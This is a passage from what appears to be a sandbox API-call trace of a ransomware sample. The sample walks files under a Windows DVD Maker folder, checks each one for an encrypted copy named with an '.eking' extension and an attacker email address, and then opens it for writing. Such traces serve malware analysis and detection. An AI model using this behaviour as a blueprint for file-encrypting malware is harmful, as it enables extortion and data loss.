maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.142] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=108525) returned 1 [0182.142] CloseHandle (hObject=0x1e0) returned 1 [0182.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png")) returned 0x20 [0182.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png")) returned 0x20 [0182.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.143] SetEvent (hEvent=0x174) returned 1 [0182.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.277] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4456) returned 1 [0182.277] CloseHandle (hObject=0x1e0) returned 1 [0182.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png")) returned 0x20 [0182.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png")) returned 0x20 [0182.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.278] SetEvent (hEvent=0x174) returned 1 [0182.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.278] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3076) returned 1 [0182.278] CloseHandle (hObject=0x1e0) returned 1 [0182.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png")) returned 0x20 [0182.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png")) returned 0x20 [0182.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.283] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=693292) returned 1 [0182.283] CloseHandle (hObject=0x1e0) returned 1 [0182.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv")) returned 0x20 [0182.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv")) returned 0x20 [0182.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.284] SetEvent (hEvent=0x174) returned 1 [0182.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.284] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=781292) returned 1 [0182.284] CloseHandle (hObject=0x1e0) returned 1 [0182.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv")) returned 0x20 [0182.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv")) returned 0x20 [0182.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.285] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4525) returned 1 [0182.285] CloseHandle (hObject=0x1e0) returned 1 [0182.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png")) returned 0x20 [0182.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png")) returned 0x20 [0182.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.286] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3055) returned 1 [0182.286] CloseHandle (hObject=0x1e0) returned 1 [0182.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png")) returned 0x20 [0182.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png")) returned 0x20 [0182.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.289] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=25243) returned 1 [0182.289] CloseHandle (hObject=0x1e0) returned 1 [0182.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png")) returned 0x20 [0182.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png")) returned 0x20 [0182.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.289] SetEvent (hEvent=0x174) returned 1 [0182.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.290] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6922) returned 1 [0182.290] CloseHandle (hObject=0x1e0) returned 1 [0182.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0182.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0182.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.291] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4959) returned 1 [0182.291] CloseHandle (hObject=0x1e0) returned 1 [0182.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png")) returned 0x20 [0182.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png")) returned 0x20 [0182.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.292] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4503) returned 1 [0182.292] CloseHandle (hObject=0x1e0) returned 1 [0182.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png")) returned 0x20 [0182.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png")) returned 0x20 [0182.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.294] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3082) returned 1 [0182.295] CloseHandle (hObject=0x1e0) returned 1 [0182.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png")) returned 0x20 [0182.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png")) returned 0x20 [0182.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.295] SetEvent (hEvent=0x174) returned 1 [0182.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.296] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3108) returned 1 [0182.296] CloseHandle (hObject=0x1e0) returned 1 [0182.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png")) returned 0x20 [0182.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png")) returned 0x20 [0182.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.296] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=533292) returned 1 [0182.297] CloseHandle (hObject=0x1e0) returned 1 [0182.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv")) returned 0x20 [0182.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv")) returned 0x20 [0182.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.297] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=613292) returned 1 [0182.298] CloseHandle (hObject=0x1e0) returned 1 [0182.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv")) returned 0x20 [0182.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv")) returned 0x20 [0182.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 